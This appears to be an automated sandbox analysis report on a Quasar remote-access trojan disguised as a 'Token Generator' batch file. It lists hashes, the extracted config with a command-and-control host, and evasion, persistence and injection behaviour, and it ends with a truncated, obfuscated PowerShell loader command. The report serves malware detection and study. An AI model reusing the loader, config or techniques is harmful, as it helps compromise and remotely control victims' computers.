Analysis
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max time kernel
300s -
max time network
295s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
26-05-2024 20:56
Static task
static1
Behavioral task
behavioral1
Sample
Token Generator.bat
Resource
win10v2004-20240426-en
General
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Target
Token Generator.bat
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Size
3.5MB
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MD5
e984ebea899379a8c0a47f9308c7370b
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SHA1
863330006bef4c55a1bc79771ae989dc0412f717
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SHA256
9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b
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SHA512
70934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975
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SSDEEP
49152:HgquNH3RLlp72pnTcrwIBX1F2A5LzeuUxZ3u3AnCH4El0oKYlL:HY
Malware Config
Extracted
quasar
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reconnect_delay
3000
Extracted
quasar
1.4.1
Token Gen
uk2.localto.net:6103
0c14e9f2-6918-4e50-8463-04ad871c1e3d
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encryption_key
6BE0D74806BB58E6DB21FA6E3B6DB38B4A72BAFC
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install_name
$77-powershell.exe
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log_directory
$77-Logs
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reconnect_delay
3000
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startup_key
Discord
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subdirectory
$77-Rootkit
Signatures
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Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/6120-14-0x0000025546300000-0x000002554679E000-memory.dmp family_quasar behavioral1/memory/6068-54-0x000001A3F6630000-0x000001A3F6954000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\Token Generator.exe family_quasar behavioral1/memory/3200-72-0x00000000000C0000-0x00000000003E4000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 5124 created 616 5124 powershell.EXE winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 6120 powershell.exe 3656 powershell.exe 6068 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 4 IoCs
Processes:
Token Generator.exeInstall.exe$77-powershell.exe$77-powershell.exepid process 3200 Token Generator.exe 4744 Install.exe 3660 $77-powershell.exe 1860 $77-powershell.exe -
Drops file in System32 directory 16 IoCs
Processes:
svchost.exesvchost.exepowershell.EXEsvchost.exedescription ioc process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\System32\Tasks\Discord svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 5124 set thread context of 3636 5124 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 16 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exemousocoreworker.exemousocoreworker.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 1752 schtasks.exe 1604 schtasks.exe 4144 schtasks.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
mousocoreworker.exewmiprvse.exemousocoreworker.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe -
Modifies data under HKEY_USERS 59 IoCs
Processes:
powershell.EXEOfficeClickToRun.exemousocoreworker.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exeToken Generator.exe$77-powershell.exepowershell.EXEdllhost.exepid process 6120 powershell.exe 6120 powershell.exe 3656 powershell.exe 3656 powershell.exe 6068 powershell.exe 6068 powershell.exe 3200 Token Generator.exe 3200 Token Generator.exe 3660 $77-powershell.exe 3660 $77-powershell.exe 5124 powershell.EXE 5124 powershell.EXE 5124 powershell.EXE 5124 powershell.EXE 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 6068 powershell.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 6068 powershell.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe 3636 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 6120 powershell.exe Token: SeDebugPrivilege 3656 powershell.exe Token: SeIncreaseQuotaPrivilege 3656 powershell.exe Token: SeSecurityPrivilege 3656 powershell.exe Token: SeTakeOwnershipPrivilege 3656 powershell.exe Token: SeLoadDriverPrivilege 3656 powershell.exe Token: SeSystemProfilePrivilege 3656 powershell.exe Token: SeSystemtimePrivilege 3656 powershell.exe Token: SeProfSingleProcessPrivilege 3656 powershell.exe Token: SeIncBasePriorityPrivilege 3656 powershell.exe Token: SeCreatePagefilePrivilege 3656 powershell.exe Token: SeBackupPrivilege 3656 powershell.exe Token: SeRestorePrivilege 3656 powershell.exe Token: SeShutdownPrivilege 3656 powershell.exe Token: SeDebugPrivilege 3656 powershell.exe Token: SeSystemEnvironmentPrivilege 3656 powershell.exe Token: SeRemoteShutdownPrivilege 3656 powershell.exe Token: SeUndockPrivilege 3656 powershell.exe Token: SeManageVolumePrivilege 3656 powershell.exe Token: 33 3656 powershell.exe Token: 34 3656 powershell.exe Token: 35 3656 powershell.exe Token: 36 3656 powershell.exe Token: SeIncreaseQuotaPrivilege 3656 powershell.exe Token: SeSecurityPrivilege 3656 powershell.exe Token: SeTakeOwnershipPrivilege 3656 powershell.exe Token: SeLoadDriverPrivilege 3656 powershell.exe Token: SeSystemProfilePrivilege 3656 powershell.exe Token: SeSystemtimePrivilege 3656 powershell.exe Token: SeProfSingleProcessPrivilege 3656 powershell.exe Token: SeIncBasePriorityPrivilege 3656 powershell.exe Token: SeCreatePagefilePrivilege 3656 powershell.exe Token: SeBackupPrivilege 3656 powershell.exe Token: SeRestorePrivilege 3656 powershell.exe Token: SeShutdownPrivilege 3656 powershell.exe Token: SeDebugPrivilege 3656 powershell.exe Token: SeSystemEnvironmentPrivilege 3656 powershell.exe Token: SeRemoteShutdownPrivilege 3656 powershell.exe Token: SeUndockPrivilege 3656 powershell.exe Token: SeManageVolumePrivilege 3656 powershell.exe Token: 33 3656 powershell.exe Token: 34 3656 powershell.exe Token: 35 3656 powershell.exe Token: 36 3656 powershell.exe Token: SeIncreaseQuotaPrivilege 3656 powershell.exe Token: SeSecurityPrivilege 3656 powershell.exe Token: SeTakeOwnershipPrivilege 3656 powershell.exe Token: SeLoadDriverPrivilege 3656 powershell.exe Token: SeSystemProfilePrivilege 3656 powershell.exe Token: SeSystemtimePrivilege 3656 powershell.exe Token: SeProfSingleProcessPrivilege 3656 powershell.exe Token: SeIncBasePriorityPrivilege 3656 powershell.exe Token: SeCreatePagefilePrivilege 3656 powershell.exe Token: SeBackupPrivilege 3656 powershell.exe Token: SeRestorePrivilege 3656 powershell.exe Token: SeShutdownPrivilege 3656 powershell.exe Token: SeDebugPrivilege 3656 powershell.exe Token: SeSystemEnvironmentPrivilege 3656 powershell.exe Token: SeRemoteShutdownPrivilege 3656 powershell.exe Token: SeUndockPrivilege 3656 powershell.exe Token: SeManageVolumePrivilege 3656 powershell.exe Token: 33 3656 powershell.exe Token: 34 3656 powershell.exe Token: 35 3656 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$77-powershell.exepid process 1860 $77-powershell.exe -
Suspicious use of UnmapMainImage 2 IoCs
Processes:
RuntimeBroker.exeExplorer.EXEpid process 4124 RuntimeBroker.exe 3420 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exepowershell.EXEdllhost.exedescription pid process target process PID 4228 wrote to memory of 6120 4228 cmd.exe powershell.exe PID 4228 wrote to memory of 6120 4228 cmd.exe powershell.exe PID 6120 wrote to memory of 3656 6120 powershell.exe powershell.exe PID 6120 wrote to memory of 3656 6120 powershell.exe powershell.exe PID 6120 wrote to memory of 5640 6120 powershell.exe WScript.exe PID 6120 wrote to memory of 5640 6120 powershell.exe WScript.exe PID 5640 wrote to memory of 5288 5640 WScript.exe cmd.exe PID 5640 wrote to memory of 5288 5640 WScript.exe cmd.exe PID 5288 wrote to memory of 6068 5288 cmd.exe powershell.exe PID 5288 wrote to memory of 6068 5288 cmd.exe powershell.exe PID 6068 wrote to memory of 3200 6068 powershell.exe Token Generator.exe PID 6068 wrote to memory of 3200 6068 powershell.exe Token Generator.exe PID 6068 wrote to memory of 4744 6068 powershell.exe Install.exe PID 6068 wrote to memory of 4744 6068 powershell.exe Install.exe PID 6068 wrote to memory of 4744 6068 powershell.exe Install.exe PID 6068 wrote to memory of 4144 6068 powershell.exe schtasks.exe PID 6068 wrote to memory of 4144 6068 powershell.exe schtasks.exe PID 6068 wrote to memory of 3660 6068 powershell.exe $77-powershell.exe PID 6068 wrote to memory of 3660 6068 powershell.exe $77-powershell.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 5124 wrote to memory of 3636 5124 powershell.EXE dllhost.exe PID 3636 wrote to memory of 616 3636 dllhost.exe winlogon.exe PID 3636 wrote to memory of 664 3636 dllhost.exe lsass.exe PID 3636 wrote to memory of 948 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 64 3636 dllhost.exe dwm.exe PID 3636 wrote to memory of 468 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 592 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 436 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1036 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1056 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1184 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1228 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1256 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1352 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1408 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1420 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1432 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1536 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1588 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1652 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1668 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1760 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1768 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1912 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1996 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2040 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1388 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 1924 3636 dllhost.exe spoolsv.exe PID 3636 wrote to memory of 2192 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2208 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2360 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2448 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2456 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2516 3636 dllhost.exe sihost.exe PID 3636 wrote to memory of 2600 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2652 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2668 3636 dllhost.exe svchost.exe PID 3636 wrote to memory of 2724 3636 dllhost.exe taskhostw.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:64
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b3a447d1-ba5f-4331-a9a2-5c7c8531fea7}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3636
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:468
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:592
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:436
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1036
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1056 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2724
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cwafgNtDMDbo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uMlMkfqgJfwOXj,[Parameter(Position=1)][Type]$hLPLsLjHpm)$UJPHJEFFyAW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+'ec'+[Char](116)+''+[Char](101)+''+[Char](100)+'D'+'e'+'l'+'e'+''+'g'+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+''+'l'+'ed'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+'Au'+[Char](116)+''+'o'+'C'+[Char](108)+'as'+'s'+'',[MulticastDelegate]);$UJPHJEFFyAW.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+'e'+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+'N'+''+[Char](97)+''+'m'+'e'+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$uMlMkfqgJfwOXj).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+','+[Char](77)+'anaged');$UJPHJEFFyAW.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+','+''+'N'+''+'e'+''+[Char](119)+'Sl'+[Char](111)+''+'t'+','+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$hLPLsLjHpm,$uMlMkfqgJfwOXj).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)